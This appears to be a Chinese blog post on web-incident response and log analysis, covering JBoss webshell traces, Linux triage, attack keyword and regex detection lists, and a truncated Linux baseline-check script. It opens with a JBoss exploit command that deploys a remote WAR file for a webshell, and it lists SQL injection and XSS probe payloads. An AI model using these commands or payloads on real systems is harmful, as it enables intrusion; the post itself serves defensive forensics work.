赞
踩
也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大
少走了弯路,也就错过了风景,无论如何,感谢经历
转移发布平台通知:将不再在CSDN博客发布新文章,敬请移步知识星球
感谢大家一直以来对我CSDN博客的关注和支持,但是我决定不再在这里发布新文章了。为了给大家提供更好的服务和更深入的交流,我开设了一个知识星球,内部将会提供更深入、更实用的技术文章,这些文章将更有价值,并且能够帮助你更好地解决实际问题。期待你加入我的知识星球,让我们一起成长和进步
JBoss命令执行漏洞利用方法是使用
java -jar jboss_exploit_fat.jar -i http://x.x.x.x:8080/invoker/JMXInvokerServletinvoke
jboss.system:service=MainDeployer deploy http://www.xxx.com/demo/test2.war
远程部署一个war包,默认应该会在/tmp/目录下留下jar包tmpxxxxxtest2.war及解压后的tmpxxxxtest2-exp.war文件夹,然后我们访问对应的网络路径,即可拿到WebShell。
当jboss中间件重启之后,默认tmp文件夹会全部清空的。如何找到jboss命令执行的痕迹?
实际上在对应的localhost文件夹下,java写的webshell会留有相对应的.java、.class文件的,并且这些文件在jboss重启后不会删除的。攻击者通过漏洞上传完webshell后,进行一系列恶意操作之后,通常会清理掉webshell,但是很少有攻击者会考虑到localhost文件夹下也是留有痕迹的。
在网站遭受入侵时,管理员不要急于删除攻击者留下的后门,应该及时联系网络安全人员到场协助处理。因为管理员毕竟网络安全经验有限,随意删文件的结果,可能把攻击者的痕迹一并给清理掉了,对于溯源攻击者的入侵行为带来很大困难。
系统被入侵后,如何溯源系统被入侵的大概过程,对日志进行分析,通过分析日志来还原整个过程的来龙去脉。
如果客户不知道被入侵的大概时间段,大概什么方式进来的,尤其是对关键字进行搜索时还会出现编辑器(UltraEdit)卡顿的情况。纯手工溯源在日志量特别大的时候,此时我们手工的话可能就不那么现实了,那么我们就需要利用脚本去完成一些常规的排查过程,来辅助完成日志分析工作。
1、获取主机信息
获取的主机信息包括:主机ip地址、主机名、当前系统内核版本、当前系统版本、系统当前时间;
2、获取异常进程
获取异常进程主要是采用两种方式,第一种,通过执行netstat -antp获取当前主机存在哪些链接,并通过判断外部链接地址归属地,如果归属地不是中国,则会提取相关pid,并根据pid定位出文件所在位置。第二种,通过cpu占有率,一旦发现cpu占用率高于%15时,会提取对应程序的pid,根据pid定位异常文件位置。
3、判断常见命令是否被篡改
在之前的应急响应中出现过常见命令被非法篡改情况,如ps、netstat命令被恶意替换,利用stat查看文件详细信息,通过比对时间的方式判断命令是否被篡改。
4、查看系统启动项
很多恶意程序会修改系统启动项,这样即使系统进行重启时,恶意程序也能自动启动,查看init.d目录下的启动文件,根据修改时间提取最近被修改的启动文件,并根据时间排序列出前5个。
5、查看历史命令
查看.bash_history历史命令,通过匹配关键字,如wget、cur等,来查看系统在被入侵后是否被执行了恶意操作。
6、判断非系统默认账户
恶意程序可能会在系统中新建账户,通过查看login.defs文件获取最小uid,从而根据uid查看passwd文件,获取之后新建的系统用户。
7、获取当前登录用户
通过调用who,查看当前登录用户(tty为本地登录,pts为远程登录),判断是否存在异常用户登录情况。
8、查看系统当前用户
通过查看etc/passwd,查看相关用户信息,确定是否存在异常用户。
9、查看crontab定时任务
查看/etc/crontab定时任务,并将输出结果保存到log中
10、查看、保存最近三天系统文件修改情况
通过find命令,查找最近三天修改过的文件,由于修改的系统文件较多,所以修改文件被单独保存在本地file_edit文件中
11、查找特权用户。
查看passwd文件,查找用户id为0的特权用户
12、secure日志分析
日志分析是应急的重头工作,尤其是在应急后期的溯源阶段,日志分析更显得尤为重要,由于日志种类包括服务器日志、应用日志,此处只是分析了secure服务器日志,提取日志的ip地址进行判断,并对ip归属地进行判断,查看的secure日志单独保存在本地secure中。
根据现场具体情况需要来决定优先级方案,筛选出来的IP,进行去重之前,排查到192.168.1.6 这个IP访问最频繁,那么匹配该IP 访问路由关于upload 关键词日志,其实单单,依靠日志进行分析的话是远远不够,需要借助规则告警、流量、资产、漏洞管理、情报分析等等。
通过特征搜索SQL注入、命令执行、文件包含等敏感关键词,例如搜索select、union这样的查询语句,也有出现table_name这样的表名。一般查询语句是不会出现在URL里面的,所以这基本上可以判断是收到了注入攻击。另一方面,在user_agent也显示了sqlmap。
鉴于XSS的特征,可以依靠一些常见的字符,比如%3c、%3E、script、alert等等之类的可疑字符去判断是否存在XSS注入攻击,作为一些告警的规则。
安全敏感关键字列表:
关键字类型 | 关键字内容(不区分大小写) |
敏感词类 | password、passwd、pwd、pass、userid、username、account、用户名、密码、口令、账号、license、sharekey、encrypt、crypt、密钥、私钥、publickey、privatekey、salt、0.0.0.0、777、666、555、setuid |
通常存在于upload、file等出现类似字样的文件,均可能存在恶意文件上传,具体还需结合日志进行判断,一般是判断后续是否有出现Webshell等一些可以的web操作,如果发现在file.php页面的前后日志中,有存在一个带着日期的php页面,很可能就是利用file.php上传的文件,服务器自动生成名字,因此判断此处可能存在恶意文件上传。
PS:一般地,如果Post请求的数据未被显示出来,则需要我们通过访问的链接以及上下文的访问详情确认此处是否存在恶意文件上传
漏洞特征:存在SQL注入语句
常见的SQL注入语句有:
● 通过报错注入、布尔盲注、时间盲注判断是否存在注入:
字符型
● 参数后加单引号,报错:sql1.php?name=admin’
● 参数后加’ and ‘1’=‘2和’ and ‘1’=‘2,访问正常:sql1.php?name=admin’ and ‘1’=‘1 /sql1.php?name=admin’ and ‘1’=‘2
● 参数后加’ and sleep(3) --,是否延迟3秒打开:sql1.php?name=admin’ and/or sleep(3)–
数字型
● 参数后加单引号,报错:sql2.php?id=1’
● 参数后加and 1=1和and 1=2,访问正常:sql2.php?id=1 and 1=1/sql2.php?id=1 and 1=2
● 参数后加and sleep(5),是否延迟3秒打开:sql2.php?id=1 and sleep(5)
通过各种注入语句进行SQL注入攻击:
联合查询注入
● union select
● order by
报错注入(常见报错注入函数)
● floor()
● extractvalue()
● updatexml()
● geometrycollection()
● multipoint()
● polygon()
● multipolygon()
● linestring()
● multilinestring()
● exp()
常见数据库类型判断
● ACCESS
and (select count () from sysobjects)>0返回异常
and (select count () from msysobjects)>0返回异常
● SQLSERVER
and (select count () from sysobjects)>0返回正常
and (select count () from msysobjects)>0返回异常
and left(version(),1)=5%23参数5也可能是4
● MYSQL
id=2 and version()>0返回正常
id=2 and length(user())>0返回正常
id=2 CHAR(97, 110, 100, 32, 49, 61, 49)返回正常
● Oracle
and length (select user from dual)>0返回正常
● 标签
<img>
<a>
<svg>
<BGSOUND>
<LINK>
<META>
<TABLE>
<DIV>
<IFRAME>
<FRAMESET>
<STYLE>
<OBJECT>
…
● 常用触发事件
oninput
onload
oncut
onclick
onerror
onmouseover
onfocus
onblur
poster
onscroll
…
● 常用恶意代码
prompt
confirm
alert
javascript
eval
expression
window.location等
命令执行:whoami、ipconfig/ifconfig、net user等
目录遍历 :…/…/等
其它 : dese64_decode、OgnlContext等
扫描器特征:
● AWVS 10.5或11
acunetix-wvs-test-for-some-inexistent-file
by_wvs
acunetix_wvs_security_test
acunetix
acunetix_wvs
acunetix_test
wvs_test
● Netsparker
netsparker
Netsparker
ns: netsparker
●Appscan
Appscan
● Webinspect
HP404
● Rsas
nsfocus
● Nessus
nessus
Nessus
● Sqlmap
sqlmap
C/C++:exec、execv、execl、execlp、execvp、_wsystem、shellexecute、system、popen
PHP:passthru、shell_exec、eval
Python:execfile、input、subprocess、commands
SQL注入类 Select、insert、update、delete、union、where、from、order、join、create、drop、group、sleep等 XSS注入类 document.location、document.URL、document.URLUnencoded、document.referrer、document.write、document.writeln、document.boby.innerHtml、document.open、window.location、window.execscript、window.setinterval、window.settimeout、window.location.href、window.navigate、window.print、location.pathname 反序列化类 JAVA:XMLDecoder、xstream、readObject()、readResolve()、readExternal()、readObjectNoData()、InvocationHandlePython:pickle、cpicle、yaml、jsonpickle
PHP:unserialize()、session.auto_start、session.serialize_handler
XXE注入类 JAVA:documentbuilder、xmlinputFactory、saxreader、saxparser、saxbuilder、jaxbcontext、transformer、documenthelper、xmlreader、xmlstreamreader 开源应急响应工具(还有其它的应急响应工具,请问文章尾部有做收集)">https://github.com/Bypass007/Emergency-Response-Notes
https://github.com/Bypass007/Emergency-Response-Notes
https://github.com/grayddq/GScan.git
https://github.com/grayddq/GScan.git
随机抽取一条日志:61.144.119.65 - - [29/May/2017:22:01:32 +0800] "GET /page/1 HTTP/1.1" 200 6403 "http://www.baidu.com" "Scrapy/1.1.2 (+http://scrapy.org)"
如果,对日志不那么熟悉也没关系,我们可以查看Nginx中关于日志格式的配置,查看nginx.conf配置文件:
日志格式为:$remote_addr - $remote_user [$time_local] "$request" '$status $body_bytes_sent "$http_referer" '$http_user_agent" "$http_x_forwarded_for"';
翻译过来即为:远程IP - 远程用户 服务器时间 请求主体 响应状态 响应体大小 请求来源 客户端信息 客户端代理IP
服务器会记录来自客户端的信息,其中有大量来自正常用户的请求,当然也包括来自恶意攻击者的请求,如何区分正常请求和恶意攻击请求呢?
站在攻击者的角度,攻击者对网站进行渗透时,其中包含大量的扫描请求和执行恶意操作的请求,而这两者在日志中都有各自的特征,如扫描请求会访问大量不存在的地址,在日志中体现则为大量的响应状态码为404,而不同的恶意请求都有各自相应的特征,如当有人对服务器进行SQL注入漏洞探测时:
如下图以"select"为关键字进行过滤
此时加上时间条件,状态码等条件就能查询到最近可能成功的SQL注入攻击,实际情况中,仅仅只依靠状态码来判断攻击是否成功是不可行的,因为很多时候请求的确成功了,但并不能代表攻击也成功了,如请求一个静态页面或者图片,会产生这样一个请求:/logo.png?attack=test';select/**/1/**/from/**/1
,此时请求状态码为200,但是此注入攻击并没有得到执行,实际情况中,会有很多干扰我们判断的垃圾日志产生。
在常规应急响应常见中,一般客户会有这几种被黑情况:
1.带宽被占满,导致网站响应速度变慢,用户无法正常访问
2.造成已知经济损失,客户被恶意转账、对账发现金额无端流失
3.网站被篡改或者添加暗链,常见为黑客黑页、博彩链接等
……
如上列出被黑的情况,一般我们会先建议对已知被黑的服务器进行断网,然后进行日志分析操作,溯源黑客的攻击过程。假设我们面对的是一个相对初级的黑客,一般我们直接到服务器检查是否存有明显的webshell即可。检查方式也很简单:
1.搜索最近一周被创建、更新的脚本文件
2.根据网站所用语言,搜索对应路由路径、SQL注入、webshell常见的关键字
3.上传D盾、河马WebShel查杀,对网站源码全部扫一遍看看或下载客户被黑网站源码到本地,用WebShell查杀工具查杀(客户允许上传或下载的情况下进行)
找到webshell后门文件后,通过查看日志中谁访问了webshell,然后得出攻击者IP,再通过IP提取出攻击者所有请求进行分析
此时,我们可以得到如下的日志结果
类似这样一个日志结果:(为清晰呈现攻击路径,此日志为人工撰造)
eg:
00:01 GET http://localhost/index.php 9.9.9.9 200 [正常请求]
00:02 GET http://localhost/index.php?id=1’ 9.9.9.9 500 [疑似攻击]
00:05 GET http://localhost/index.php?id=1’ and 1=user() or ‘’=’ 9.9.9.9 500 [确认攻击]
00:07 GET http://localhost/index.php?id=1’ and 1=(select top 1 name from userinfo) or ‘’=’ 9.9.9.9 500 [确认攻击]
00:09 GET http://localhost/index.php?id=1’ and 1=(select top 1 pass from userinfo) or ‘’=’ 9.9.9.9 500 [确认攻击]
00:10 GET http://localhost/admin/ 9.9.9.9 404 [疑似攻击]
00:12 GET http://localhost/login.php 9.9.9.9 404 [疑似攻击]
00:13 GET http://localhost/admin.php 9.9.9.9 404 [疑似攻击]
00:14 GET http://localhost/manager/ 9.9.9.9 404 [疑似攻击]
00:15 GET http://localhost/admin_login.php 9.9.9.9 404 [疑似攻击]
00:15 GET http://localhost/guanli/ 9.9.9.9 200 [疑似攻击]
00:18 POST http://localhost/guanli/ 9.9.9.9 200 [疑似攻击]
00:20 GET http://localhost/main.php 9.9.9.9 200 [疑似攻击]
00:20 POST http://localhost/upload.php 9.9.9.9 200 [疑似攻击]
00:23 POST http://localhost/webshell.php 9.9.9.9 200 [确认攻击]
00:25 POST http://localhost/webshell.php 9.9.9.9 200 [确认攻击]
00:26 POST http://localhost/webshell.php 9.9.9.9 200 [确认攻击]
已知后门文件名为"webshell.php",且得知攻击者IP为9.9.9.9,我们只需提取了此IP所有请求,从这些请求可以清楚看出攻击者从00:01访问网站首页,然后使用了单引号对网站进行SQL注入探测,然后利用报错注入的方式得到了用户名和密码,随后扫描到了管理后台进入了登录进了网站后台上传了webshell文件进行了一些恶意操作。
从以上分析我们可以得出,/index.php这个页面存在SQL注入漏洞,后台地址为/guanli.php,/upload.php可直接上传webshell
那么很容易就能得出补救方法,修复注入漏洞、更改管理员密码、对文件上传进行限制、限制上传目录的执行权限、删除webshell。
1.日志中POST数据是不记录的,所以攻击者如果找到的漏洞点为POST请求,那么刚刚上面的注入请求就不会在日志中体现
2.状态码虽然表示了响应状态,但是存在多种不可信情况,如服务器配置自定义状态码。
如在我经验中,客户服务器配置网站应用所有页面状态码皆为200,用页面内容来决定响应,或者说服务器配置了302跳转,用302到一个内容为“不存在页面”(你可以尝试用curl访问http://www.baidu.com/test.php看看响应体)
3.攻击者可能使用多个代理IP,假如我是一个恶意攻击者,为了避免日后攻击被溯源、IP被定位,会使用大量的代理IP从而增加分析的难度(淘宝上,一万代理IP才不到10块钱,就不说代理IP可以采集免费的了)
如果一个攻击者使用了大量不同的IP进行攻击,那么使用上面的方法可能就无法进行攻击行为溯源了
4.无恶意webshell访问记录,刚才我们采用的方法是通过“webshell”这个文件名从日志中找到恶意行为,如果分析过程中我们没有找到这么一个恶意webshell访问,又该从何入手寻找攻击者的攻击路径呢?
5.分析过程中我们还使用恶意行为关键字来对日志进行匹配,假设攻击者避开了我们的关键字进行攻击?比如使用了各种编码,16进制、Base64等等编码,再加上攻击者使用了代理IP使我们漏掉了分析中攻击者发起的比较重要的攻击请求
6.APT攻击,攻击者分不同时间段进行攻击,导致时间上无法对应出整个攻击行为
7.垃圾日志数据,攻击者可能会使用扫描器进行大量的扫描,此时日志中存在大量扫描行为,此类行为同样会被恶意行为关键字匹配出,但是此类请求我们无法得知是否成功扫描到漏洞,可能也无法得知这些请求是扫描器发出的,扫描器可使用代理IP、可进行分时策略、可伪造客户端特征、可伪造请求来源或伪造成爬虫。此时我们从匹配出的海量恶意请求中很难得出哪些请求攻击成功了。
开源日志分析平台ELK,ELK(开源、免费)分别为:
● Elasticsearch 开源分布式搜索引擎
● Logstash 对日志进行收集、过滤并存储到Elasticsearch或其他数据库
● Kibana 对日志分析友好的Web界面,可对Elasticsearch中的数据进行汇总、分析、查询
简短概括一下:
一、实时监控正在发生的安全事件、安全趋势
二、还原攻击者行为
1.从何时开始攻击
2.攻击所利用的工具、手法、漏洞
3.攻击是否成功,是否已经造成损失和危害
三、发现风险、捕获漏洞、修复漏洞、恶意行为取证
我们一般需要先了解一下,网站是遭受了什么攻击?并确定可疑攻击者特性(指纹),如IP地址、UA信息、时间段等
网站运维发现的异常
对于事件应急来讲,客户基本都可以描述清楚大致情况,比如网站出现黑页、后门文件、数据泄露、大量用户投诉等等。一般我们可以直接进行针对性的日志分析。
在客户的描述信息不足以确定攻击类似的情况下,可以考虑使用数值统计手段来初步识别可能的攻击。如:
IP访问数量统计 :网站扫描
URL访问数量统计:暴力破解(高统计值)、网站遍历(低统计值)
非200请求比:网站遍历、报错注入
…
【关键字】
SQL注入 :select、union、sleep等
XSS :alert(、script、src=http等
命令执行:whoami、ipconfig/ifconfig、net user等
目录遍历 :…/…/等
其它 : dese64_decode、OgnlContext等
【相关日志筛选】
筛选出攻击相关的日志记录,缩小排查范围。
指定IP筛选
指定UA筛选
指定URL筛选
组合筛选条件
【攻击类型分析】
在缩小后的范围内,大致查阅记录,一般就能确定可能的攻击类型。 也可以考虑使用关键字(或正则表达式)搜索。
【攻击细节分析】
查看相关日志记录的始末时间,确定是否需要扩大日志范围。对攻击范围内的日志进行分析(也就是查看URL及参数,相对容易能看明白其攻击类型),梳理攻击路径及时间线,以便评估损失、确定漏洞也是为后续报告提供材料。
在传统日志分析过程中,想要实现以上效果,那么就不得不面对第三节中提到的问题,这里回顾一下:
1.POST数据不记录导致分析结果不准确
其实在服务器端,运维管理人员可自行配置记录POST数据,但是这里说的是默认不记录的情况,所以配置记录POST数据暂且不提
其实我觉得要从不完整的信息中,分析得到一个肯定的答案,我觉得这从逻辑上就不可行。但是我们可以折中实现,尽量向肯定的答案靠近,即使得到一个90%肯定的答案,那也合乎我们想要的结果
在常规日志分析中,虽然POST数据不被记录,但是这些“不完整信息”依然能给我们我们提供线索
如通过响应大小、响应时间、前后请求关联、POST地址词义分析、状态码等等依然能为我们的分析提供依据,如某个请求在日志中的出现次数占访问总数30%以上,且响应大小平均值为2kb,突然某一天这个请求的响应值为10kb,且发起请求的IP曾被攻击特征匹配出过,那么可以80%的怀疑此请求可能存在异常,如攻击者使用了联合注入查询了大量数据到页面,当然这里只是举例,实际情况可能存在误报。
2.POST数据不记录导致分析结果不准确
对于那些自行设置响应状态的,明明404却302的,明明500却要200的(我能说这种我想拖出去打死么- -,)
PS:其实设置自定义状态码是别人的正常需求因为状态码不可信了,我们必须从其他方面入手来获取可信线索,虽然要付出点代价
对于不同的攻击行为,我们应该定义不同的响应规则,如攻击规则命中的为网站备份文件,那么应该判断请求大小必须超过1k-5k,如攻击者发起/wwwroot.rar这种攻击请求,按照常理如果状态码为200,那么本来应该被定性为成功的攻击行为,但是因为状态码不可信,我们可以转而通过响应大小来判断,因为按照常规逻辑,备份文件一般都不止只有几kb大小,如攻击者发起Bool注入请求则应该通过判断多个注入攻击请求的规律,Bool注入通常页面是一大一小一大一小这种规律,如攻击者发起联合注入攻击,则页面响应大小会异常于多部分正常页面响应大小,如果攻击者发起延时注入请求,则页面响应时间则会和延时注入payload中的响应相近,但是这需要分析攻击payload并提取其中的延时秒数来和日志中的响应时间进行比较误差值,当然,这里只是尝试思路,实际可行率有待实践
3.攻击者使用多个代理IP导致无法构成整个攻击路径
假设同一攻击者发起的每个请求都来自不同的IP,此时即使攻击规则命中了攻击者所有请求,也无法还原攻击者的攻击路径,此时我们只能另寻他法。
虽然攻击者使用了多个IP,但是假设攻击者不足够心细,此时你可以通过攻击时间段、请求频率、客户端信息(Ua)、攻击手法、攻击工具(请求主体和请求来源和客户端信息中可能暴露工具特征。如sqlmap注入时留下的referer)
4.无恶意webshell访问记录
常规分析中,我们通过找到后门文件,从而利用这一线索得知攻击者IP继而得知攻击者所有请求,但是如果我们并没有找到webshell,又该用什么作为分析的入口线索呢?
利用尽可能全面的攻击规则对日志进行匹配,通过IP分组聚合,提取发起过攻击请求的所有IP,再通过得到的IP反查所有请求,再配合其他方法检测提取出的所有请求中的可疑请求
5.编码避开关键字匹配
关于编码、加密问题,我也曾尝试过,但是实际最后发现除了URL编码以外,其他的编码是无法随意使用的,因为一个被加密或编码后的请求,服务器是无法正确接收和处理的,除非应用本身请求就是加密或编码的。且一般加密或编码出现在日志里通常都是配合其他函数实现的,如Char()、toHexString()、Ascii()…
6.APT分时段攻击
如果同一攻击者的攻击行为分别来源不同的时间,比如攻击者花一周时间进行“踩点”,然后他就停止了行为,过了一周后再继续利用所得信息进行攻击行为,此时因为行为链被断开了一周,我们可能无法很明显的通过时间维度来定位攻击者的攻击路径。我目前的想法是,给攻击力路径定义模型,就拿在前面讲到的常规日志分析举例,那么攻击路径模型可定义为:访问主页>探测注入>利用注入>扫描后台>进入后台>上传webshell>通过webshell执行恶意操作
其中每一个都可以理解一种行为,而每种行为都有相应的特征或者规,比如主页链接一般在日志中占比较大,且通常路径为index.html、index.php、index.aspx,那么符合这两个规则则视为访问主页
而在探测注入行为中,一般会出现探测的payload,如时间注入会匹配以下规则:
● *(BENCHMARK\\(.*\\)).* ● *(WAITFOR.*DELAY).* ● *(SLEEP\\(.*\\).* ● *(THENDBMS_PIPE.RECEIVE_MESSAGE).* Bool注入 ● *and.*(>|=|<).* ● *or.*(>|=|<).* ● *xor.*(>|=|<).* 联合注入: ● *(order.*by).* ● *(union.*select).* ● *(union.*all.*select).* ● *(union.*select.*from).* 显错注入: ● *('|"|\\)).* ● *(extractvalue\\(.*\\)).* ● *(floor\\(.*\\)).* ● *(updatexml\\(.*\\)).*
利用注入则会体现出更完整,带有目的性的攻击请求,我们以同理制定规则即可,如查询当前数据库名、查询版本信息、查询数据库表名、列名则会出现database、version、table_name、column_nam(不同数据库存在不同差异,这里仅举例)
扫描后台则会产生大量的404请求,且请求较为频繁,请求特征通常为/admin、/guanli、/login.php、/administrator
对于是否进入后台,我认为假如一个疑似后台访问的链接被频繁请求,且每次响应大小都不相同,我则认为这是已经进入了后台,但是也有可能是网站管理员正在后台进行操作的,这暂且不谈
关于上传webshell,这个比较难得到较准确的信息,因为我们没有POST数据,无法知道上传的内容是什么,但是我们可以通过反推法,先利用webshell访问特征进行匹配,找到可能为webshell的访问地址,然后以时间为条件往前匹配包含上传特征的请求,如果成功匹配到了存在上传特征,那么可将其视为攻击路径中的“上传webshell”行为
至于“通过webshell执行恶意操作”,可以简单定义为webshell地址被请求多次,且响应大小大多数都不相同
当我们对以上每种行为都建立对应的规则之后,然后按照攻击路径模型到日志中进行匹配,攻击路径模型可能有多个
这是一个相对常规的攻击路径:
访问主页>探测注入>利用注入>扫描后台>进入后台>上传webshell>通过webshell执行恶意操作
可能还会有,访问主页>爬虫特征>扫描敏感信息>扫描识别CMS特征>利用已知组件漏洞进行攻击>执行恶意代码>获取webshell>通过webshell执行恶意操作
扫描路径>扫描到后台>疑似进入后台>上传webshell>通过webshell执行恶意操作
当我们用多个类似这样的攻击路径模型对日志进行匹配时,可能在同一个模型中可能会命中多次相同的行为特征,此时我需要做一个排查工作,通过IP、客户端特征、攻击手法、攻击payload相似度等等进行排除掉非同一攻击者的行为,尽可能得到一条准确的攻击路径。
我们通过一整个攻击路径来定义攻击,从而即使攻击者分时段进行攻击,行为也会被列入到攻击路径中,通过这样方式,也许能实现自动化展示出攻击者的攻击路径,但是具体可行率、准确度还有待进一步实践后确认。
7.垃圾日志数据
通常,除了攻击者恶意构造的攻击之外,日志中还包含大量的扫描器发出的请求,此类请求同样包含一些攻击特征。
但是,多半都为无效的攻击,那么我们如何从大量的扫描攻击请求中判断出哪些请求较为可疑,可能攻击已经成功呢?
我所认为的方法目前有两种,一种是给每种攻击方法定义成功的特征,如延时注入可通过判断日志中的响应时间,联合注入可通过与正常请求比较响应大小,Bool注入可通过页面响应大小的规律。
当然,实际情况中,这种做法得到的结果可能是存在误报的。第二种办法就是通过二次请求,通过重放攻击者的请求,定义攻击payload可能会返回的结果,通过重放攻击请求获取响应之后进行判断,
其实,这里已经类似扫描器,只是攻击请求来自于日志,这种方法可能对服务器造成二次伤害,一般情况下不可取,且已经脱离日志分析的范畴。
统计的方法来区分正常和异常请求,某个URL被访问的次数越少,那么次请求为可疑。(正常总是基本相似 异常却各有各的异常)
如何从日志中区分正常请求和攻击请求?
搜集大量正常请求,为每个请求的所有参数的值定义正常模型
通过Waf或者攻击规则来剔除所有发起过攻击请求的IP,从而得到所有来自用户的正常请求,将每个正常请求构造出对应的正常模型,比如:
http://test.com/index.php?id=123
http://test.com/index.php?id=124
http://test.com/index.php?id=125
那么,关于此请求的正常模型则为 [N,N,N],不匹配此模型的请求则为异常请求
当对日志中的请求建立完正常的模型,通过正常模型来匹配找出所有不符合模型的请求时,发现效果的确不错,漏报较少,不过实践中发现另一个问题,那便是数据的清洗,我们能否建立对应的模型,取决于对日志数据的理解,如果在数据前期提取时,我们无法准确的提取哪些是请求地址那些为请求参数可能无法对某个请求建立正常模型
PS:如果涉及的记录不是太多(百万条以内),可以将日志的空格替换为逗号并保存为csv文件,然后直接用Excel打开,再使用Excel的批量统计功能进行直观处理。如果出现导入Excel时,存在字段不对应的情况(User-Agent信息中可能包含空格),可以在Excel中进行批量处理,或者在文本编辑器中使用正则表达式替换避免空格带来的影响。
NGINX,有什么方法可以记录到post数据到log里面?
默认情况下都是不记录POST数据包的。
免费的win日志分析有什么?
LogParser、360星图、LogForensics、GoAccess、AWStats、Logstalgia、FinderWeb、web-log-parser、ELK、Splunk、IBM QRadar、其它第三方工具,文章下面有放。
应急响应中,日志被删了该怎么办?
需要数据取证方面的知识,一般的,需要对整个磁盘做克隆(每个bit都保存下来),然后做数据还原。看是否有机会还原日志数据
有什么办法解决日志存储时间?
日志时间一般不太有问题的,如果有时区问题,那么对应的进行时间加减就行了。 除非攻击者人为对日志进行了修改伪造。
一些中间件是可以设定的,不过你得考虑你的硬盘够不够用,具体的设定方法可以参考各服务的文档。
针对于病毒的应急可以讲讲么?
看它的危害程度,如果有内网扩散的风险,那至少先做一定的网络隔离;如果是有通信连接的话,建议保存内存镜像以便后续对内存内容进行分析。同时提取病毒样本,然后回实验室找反汇编、反编译大牛来分析。
方便提供几个日志分析工具?
logParser awk/grep
日志分析还是要看用途,很多的日志分析工具并不是针对特定的安全事件,太多的冗余信息。
对于特定的事件处理来讲,没有一针见血的效果。
日志分析有哪些用途?
感知可能正在发生的攻击,从而规避存在的安全风险
应急响应,还原攻击者的攻击路径,从而挽回已经造成的损失
分析安全趋势,从较大的角度观察攻击者更“关心”哪些系统
分析安全漏洞,发现已知或位置攻击方法,从日志中发现应用0day、Nday
… …
8.有哪些方法可找出日志中的攻击行为?
攻击规则匹配,通过正则匹配日志中的攻击请求
统计方法,统计请求出现次数,次数少于同类请求平均次数则为异常请求
白名单模式,为正常请求建立白名单,不在名单范围内则为异常请求
HMM模型,类似于白名单,不同点在于可对正常请求自动化建立模型,从而通过正常模型找出不匹配者则为异常请求
9.日志分析有哪些商业和非商业工具/平台?
工具:
LogForensics 腾讯实验室
https://security.tencent.com/index.php/opensource/detail/15">https://security.tencent.com/index.php/opensource/detail/15
北风飘然@金乌网络安全实验室
http://www.freebuf.com/sectool/126698.html">http://www.freebuf.com/sectool/126698.html
网络ID为piaox的安全从业人员:
http://www.freebuf.com/sectool/110644.html">http://www.freebuf.com/sectool/110644.html
网络ID:SecSky
http://www.freebuf.com/sectool/8982.html">http://www.freebuf.com/sectool/8982.html
网络ID:鬼魅羊羔
http://www.freebuf.com/articles/web/96675.html">http://www.freebuf.com/articles/web/96675.html
平台(商业项目):
Splunk >> 机器数据引擎
赛克蓝德 >> SeciLog
优特捷信息技术 >> 日志易
HanSight瀚思 >> 安全易
百泉众合数据科技 >>LogInsight
江南天安 >> 彩虹WEB攻击溯源平台
10.开源项目:
elk
https://www.elastic.co">https://www.elastic.co
scribe
https://github.com/facebook/scribe">https://github.com/facebook/scribe
chukwa
http://incubator.apache.org/chukwa/">http://incubator.apache.org/chukwa/
kafka
http://sna-projects.com/kafka/">http://sna-projects.com/kafka/
Flume
https://github.com/cloudera/flume/">https://github.com/cloudera/flume/
11.有哪些方法适合分析攻击是否成功?
Kill Chain Mode
下面是酒仙桥六号部队写的脚本
• 口令生存周期检查
• 令更改最少时间间隔
• 口令最小长度
• 检查空弱口令
• 检查sudo权限异常用户
• 检查特权用户组
• 口令过期警告时间天数
• 找非root账号UID为0的账号
• 检查是否允许root账号登录
• 检查是否开启日志审计auditd
• 历史命令保存的最大条数检测
• 检查是否开启telnet
• 检查是否开启nfs服务
• 检查重要系统文件权限
• 检查免密码登录
#coding:utf-8 import os import json class Linux_Check: def __init__(self): ipadd="ifconfig -a | grep Bcast | awk -F "[ :]+" '{print $4}'" self.passmax="cat /etc/login.defs | grep PASS_MAX_DAYS | grep -v ^# | awk '{print $2}'" self.passmin="cat /etc/login.defs | grep PASS_MIN_DAYS | grep -v ^# | awk '{print $2}'" self.passlen="cat /etc/login.defs | grep PASS_MIN_LEN | grep -v ^# | awk '{print $2}'" self.passage="cat /etc/login.defs | grep PASS_WARN_AGE | grep -v ^# | awk '{print $2}'" self.uid="awk -F[:] 'NR!=1{print $3}' /etc/passwd" self.sshd_config="cat /etc/ssh/sshd_config | grep -v ^# |grep 'PermitRootLogin no'" self.bash_histrory="cat /etc/profile|grep HISTSIZE|head -1|awk -F[=] '{print $2}'" self.Result=[] self.ssh_authorized_user={}
def check_passmax(self):
result= {"name":"口令生存周期检查", "level":"middle","service":[""],"user":["root"],"filename":["/etc/login.defs"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen(self.passmax).read()
if 0< int(shell_process)<=90:
result["msg"]="口令生成周期为%s" %shell_process
else:
result["check"]=False
result["msg"]="口令生成周期为%s" %shell_process
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
def check_passmin(self):
result= {"name":"口令更改最少时间间隔", "level":"middle","service":[""],"user":["root"],"filename":["/etc/login.defs"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen(self.passmin).read()
if int(shell_process)>=6:
result["msg"]="口令更改最小时间间隔为%s天,符合要求" %shell_process
else:
result["check"]=False
result["msg"]="口令更改最小时间间隔为%s天,不符合要求,建议设置大于等于6天" %shell_process
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
def check_passlen(self):
result= {"name":"口令最小长度", "level":"middle","service":[""],"user":["root"],"filename":["/etc/login.defs"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen(self.passlen).read()
if int(shell_process)>=8:
result["msg"]="口令最小长度为%s,符合要求" %shell_process
else:
result["check"]=False
result["msg"]="令最小长度为%s,不符合要求,建议设置最小长度大于等于8" %shell_process
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
def check_empty(self):
result= {"name":"检查空弱口令", "level":"critical","service":[""],"user":["root"],"filename":["/etc/shadow"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen("awk -F: 'length($2)==0 {print $1}' /etc/shadow 2>/dev/null").read().splitlines()
if not shell_process:
result["msg"]="不存在空弱口令账户"
else:
result["check"]=False
